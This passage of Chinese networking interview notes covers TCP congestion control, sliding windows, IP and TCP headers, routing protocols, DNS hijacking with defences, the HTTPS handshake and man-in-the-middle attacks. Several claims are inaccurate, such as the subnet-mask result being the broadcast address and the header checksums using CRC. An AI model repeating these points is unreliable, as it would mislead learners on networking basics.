从慢启动可以看到，cwnd可以比较快的增长，但是不能一直无限增长，需要某个限制，TCP使用了ssthresh的变量，当cwnd超过这个值后，慢启动过程结束，进入拥塞避免阶段。

拥塞避免的主要思想是加法增大，也就是让cwnd的值线性增加， 此时当窗口中所有的报文段都被确认是，cwnd的大小才加1，cwnd的值随着RTT线性增加，这样就可以避免增长过快导致网络拥塞，慢慢的增加到网络的最佳值。

---

下面是 慢启动和拥塞避免算法的实际过程：

1. 连接建立，开始传输数据，cwnd = 1 , ssthresh的初始值为16，发送第一个包

2. 发送端收到一个确认后，cwnd加1，于是可以 发送2个数据包

3. 收到2个ACK之后，这个时候cwnd + 2 , 于是可以发送4个数据包

4. 收到4个ACK后，这个时候cwnd + 4 ,于是可以发送8个数据包， 可以看到这个时间段，cwnd随着传输轮次的增长，成指数增长

5. 当拥塞的窗口达到ssthresh后，慢启动算法结束，开始进入拥塞避免算法

6. cwnd按照一个RTT进行+1的线性增加，假设到达24时，出现网络拥塞

7. ssthresh = 1/2 * cwnd = 12, cwnd = 1 继续重新执行慢启动算法

8. 同样当cwnd = 12时 执行拥塞避免算法

---

• 快速重传

如果收到一个out-of-order的报文段时， TCP需要立刻产生一个ACK，这个ACK不应该被延时，目的在于让对方知道收到一个失序的报文。如果发送方连续收到3个或者3个以上的dup ACK，就被判断这个报文被丢失了，于是就需要立即重传丢失的数据段，这个地方不用等待定时器溢出。

快速重传机制，实现了另外的一种丢包评定标准，即如果我连续收到3次dup ACK，发送方就认为这个seq的包丢失了，立刻进行重传，这样如果接收端回复及时的话，基本就是在重传定时器到期之前，提高了重传的效率。

---

• 快速恢复

快速重传和快速恢复算法一般同时使用。快速恢复算法是认为，你还有3个Duplicated Acks说明网络也不那么糟糕，并不需要重新回到慢启动进行。cwnd在遇到3个dup ACK的时候 cwnd减半，进入快速恢复模式。

TCP Reno算法如下：
TCP Reno算法就是在慢启动和拥塞避免的基础上增加了快速重传和快速恢复算法，避免了在拥塞不严重的状况下，过大的减小拥塞窗口，降低TCP的传输效率。

33. 滑动窗口协议？

滑动窗口协议的基本原理就是在任意时刻，发送方都维持了一个连续的允许发送的帧的序号，称为发送窗口；同时，接收方也维持了一个连续的允许接收的帧的序号，称为接收窗口。

滑动窗口（Sliding window）是一种流量控制技术。滑动窗口的大小意味着接收方还有多大的缓冲区可以用于接收数据。发送方可以通过滑动窗口的大小来确定应该发送多少字节的数据。当滑动窗口为0时，发送方一般不能再发送数据报，但有两种情况除外，一种情况是可以发送紧急数据，例如，允许用户终止在远端机上的运行进程。另一种情况是发送方可以发送一个1字节的数据报来通知接收方重新声明它希望接收的下一字节及发送方的滑动窗口大小。

补充：流量控制与拥塞控制的主要区别？

主要区别：

• 解决问题： 流量控制解决的是发送方和接收方速率不匹配的问题；拥塞控制解决的是避免网络资源被耗尽的问题。
• 实现方式：流量控制是通过滑动窗口来实现的；拥塞控制是通过拥塞窗口来实现的。
  参考

34. ipv4和ipv6是什么？

IPv4是互联网协议第四版（32bit），是计算机网络使用的数据报传输机制。每一个连接Internet的设备（不管是交换机、PC还是其他设备），都会为其分配一个唯一的IP地址。
IPv6是由IEIF提出的互联网协议第六版（128bit），用来替代IPv4的下一代协议，它的提出不仅解决了网络地址资源匮乏问题，也解决了多种接入设备接入互联网的障碍。

35. 为什么要划分子网，子网掩码有什么作用？

IPv4地址如果只使用有类（A、B、C类）来划分，会造成大量的浪费或者不够用，为了解决这个问题，可以在有类网络的基础上，通过对IP地址的主机号进行再划分，把一部分划入网络号，就能划分各种类型大小的网络了。

子网掩码是用来划分子网的网段和遮掩部分IP地址。换个说法就是：它是用来划分IP地址中哪一部分是网络号，哪一部分是机器号。

ip地址+子网掩码的运算结果 就是本网段的网络号，也是其广播地址。

36. 列举TCP和IP报文头部？*

• IP:(注意黑体)
  

4位版本号：IP协议（IPv4）版本号位4
4位头部长度：标识头部有多少个4字节，即最大共15*4个字节
8位服务类型：包含一个4位优先权字段：最小延时，最大吞吐量，最高可靠性和最小费用。
16位总长度：表示整个IP数据报的长度，最大表示65535，但由于MTU限制，一般无法到达这个值。
16位标识：唯一的标识数据报。系统采用加1的式边发送边赋值。
3位标识（保留，DF禁止分片，MF更多分片）：所以这个标志是为分片存在，DF设置时禁止分片所以如果数据报太大则发送失败。MF设置时，如果产生分片，除了最后一个分片，其他此片置1。
13位分片偏移：分片相对原始IP数据报开始处的偏移。
8位生存时间（TTL）：数据报到达目的地之前允许经过的路由跳跳数。跳一下减1，得0丢弃。
8位协议：用来区分上层协议（ICMP为1，TCP为6，UDP为17）。
16位头部校验和：仅以CRC算法检验数据报头部在传输过程中是否损坏。
32位源端口IP地址和目的端口地址很明白。
选项（可变长）：记录路由，告诉途径得所有路由把IP填进来。 时间戳，告诉每个路由器都将数据报被转发的时间传进来。松散路由选择，指定一个路由器IP地址列表，必须按这个表发送，严格路由选择，数据报经过路由表。

• TCP
  

16位源端口号和16位目的端口号。
32位序号seq：一次TCP通信过程中某一个传输方向上的字节流的每个字节的编号，通过这个来确认发送的数据有序，比如现在序列号为1000，发送了1000，下一个序列号就是2000。
32位确认号ack：用来响应TCP报文段，给收到的TCP报文段的序号加1，三握时还要携带自己的序号。
4位头部长度：标识该TCP头部有多少个4字节，共表示最长15*4=60字节。同IP头部。
6位保留。
6位标志。URG（紧急指针是否有效）ACK（表示确认号是否有效）PSH（提示接收端应用程序应该立即从TCP接收缓冲区读走数据）RST（表示要求对方重新建立连接）SYN（表示请求建立一个连接）FIN（表示通知对方本端要关闭连接）
16位窗口大小：TCP流量控制的一个手段，用来告诉对端TCP缓冲区还能容纳多少字节。
16位校验和：由发送端填充，接收端对报文段执行CRC算法以检验TCP报文段在传输中是否损坏。
16位紧急指针：一个正的偏移量，它和序号段的值相加表示最后一个紧急数据的下一字节的序号。

37. 路由选择协议 RIP、OSPF、BGP ？*

RIP是一种分布式的基于距离向量的内部网关路由选择协议，通过广播UDP报文来交换路由信息。

OSPF是一个内部网关协议，要交换的信息量较大，应使报文的长度尽量短，所以不使用传输层协议（如UDP或TCP），而是直接采用IP。

BGP是一个外部网关协议，在不同的自治系统之间交换路由信息，由于网络环境复杂，需要保证可靠传输，所以采用TCP。

38. DNS劫持概念？

DNS劫持：

几种DNS劫持方法

1. 本机DNS劫持
   攻击者通过某些手段使用户的计算机感染上木马病毒，或者恶意软件之后，恶意修改本地DNS配置，比如修改本地hosts文件，缓存等
2. 路由DNS劫持
   很多用户默认路由器的默认密码，攻击者可以侵入到路由管理员账号中，修改路由器的默认配置
3. 攻击DNS服务器
   直接攻击DNS服务器，例如对DNS服务器进行DDOS攻击，可以是DNS服务器宕机，出现异常请求，还可以利用某些手段感染dns服务器的缓存，使给用户返回来的是恶意的ip地址

DNS的防范

1. 加强本地计算机病毒检查，开启防火墙等，防止恶意软件，木马病毒感染计算机
2. 改变路由器默认密码，防止攻击者修改路由器的DNS配置指向恶意的DNS服务器
3. 企业的话可以准备两个以上的域名，一旦一个域名挂掉，还可以使用另一个
4. 用HTTP DNS 代替 Local DNS

39. 为什么要进行URL编码？*

简单来说就是避免URL中特殊字符导致的歧义。
参考：https://www.cnblogs.com/heyanan/p/10109338.html

40. 什么是无效链接？

死链接（Dead Links）指的是无效链接，也就是那些不可到达的链接。通俗地理解是以前可以通过点击这个链接到达网站页面，后续可能由于网站迁移、改版或操作不当等原因，使得链接指向的目标页面不存在而无法访问所遗留的链接，即称为死链接。
访问死链接时，一般会出现“抱歉，您所访问的页面不存在”的提示信息或者 404 状态页面。

41. HTTPS协商过程？

HTTPS协议是在HTTP协议基础上的，对HTTP协议要发的报文先加密再交给TCP传输，在这之前要先和服务端协商好加密的秘钥，这个协商的完整过程如下（即握手秘钥协商过程）：

1. client_hello
   客户端发起请求，以明文传输请求信息，发送 SSL/TLS的版本号，支持的压缩算法列表（用于后续的信息压缩传输），随机数（用于后续的密钥协商）和支持的加密算法。
2. server_hello +server_certificate+sever_hello_done
   • 服务端返回协商的信息结果，发送随机数（用于后续的密钥协商），选择一个Client支持的加密算法、SSL/TLS的版本号、压缩算法。
   • 并发送服务端证书。
3. 证书校验
   客户端验证证书的合法性，如果验证通过才会进行后续通信，否则根据错误情况不同做出提示和操作。
4. client_key_exchange+change_cipher_spec+encrypted_handshake_message
   • client_key_exchange：合法性验证通过之后，客户端计算产生随机数字 Pre-master，并用服务端证书公钥加密，发送给服务器。（此时客户端已经获取全部的计算协商密钥需要的信息：两个明文随机数 random_C 和 random_S 与自己计算产生的 Pre-master，计算得到协商密钥）
   • change_cipher_spec：客户端通知服务器后续的通信都采用协商的通信密钥和加密算法进行加密通信;
   • encrypted_handshake_message：结合之前所有通信参数的 hash 值与其它相关信息生成一段数据，采用协商密钥 session secret 与算法进行加密，然后发送给服务器用于数据与握手验证;
5. change_cipher_spec+encrypted_handshake_message
   • 服务器用私钥解密加密的 Pre-master 数据，基于之前交换的两个明文随机数 random_C 和 random_S，计算得到协商密钥
   • 计算之前所有接收信息的 hash 值，然后解密客户端发送d的encrypted_handshake_message，验证数据和密钥正确性;
   • encrypted_handshake_message, 服务器也结合所有当前的通信参数信息生成一段数据并采用协商密钥 session secret 与算法加密并发送到客户端;
6. 握手结束
   客户端计算所有接收信息的 hash 值，并采用协商密钥解密 encrypted_handshake_message，验证服务器发送的数据和密钥，验证通过则握手完成;

参考：HTTPS协议详解(四)：TLS/SSL握手过程

42. 什么是中间人攻击？如何避免？

中间人攻击(Man-in-the-MiddleAttack，简称“MITM攻击”)是指攻击者与通讯的两端分别创建独立的联系，并交换其所收到的数据，使通讯的两端认为他们正在通过一个私密的连接与对方。

防御中间人攻击的原则很简单是：必须对认证过程的传输者/认证过程的本身真实性进行认证。可采用权威CA机构颁发的受信任的SSL证书。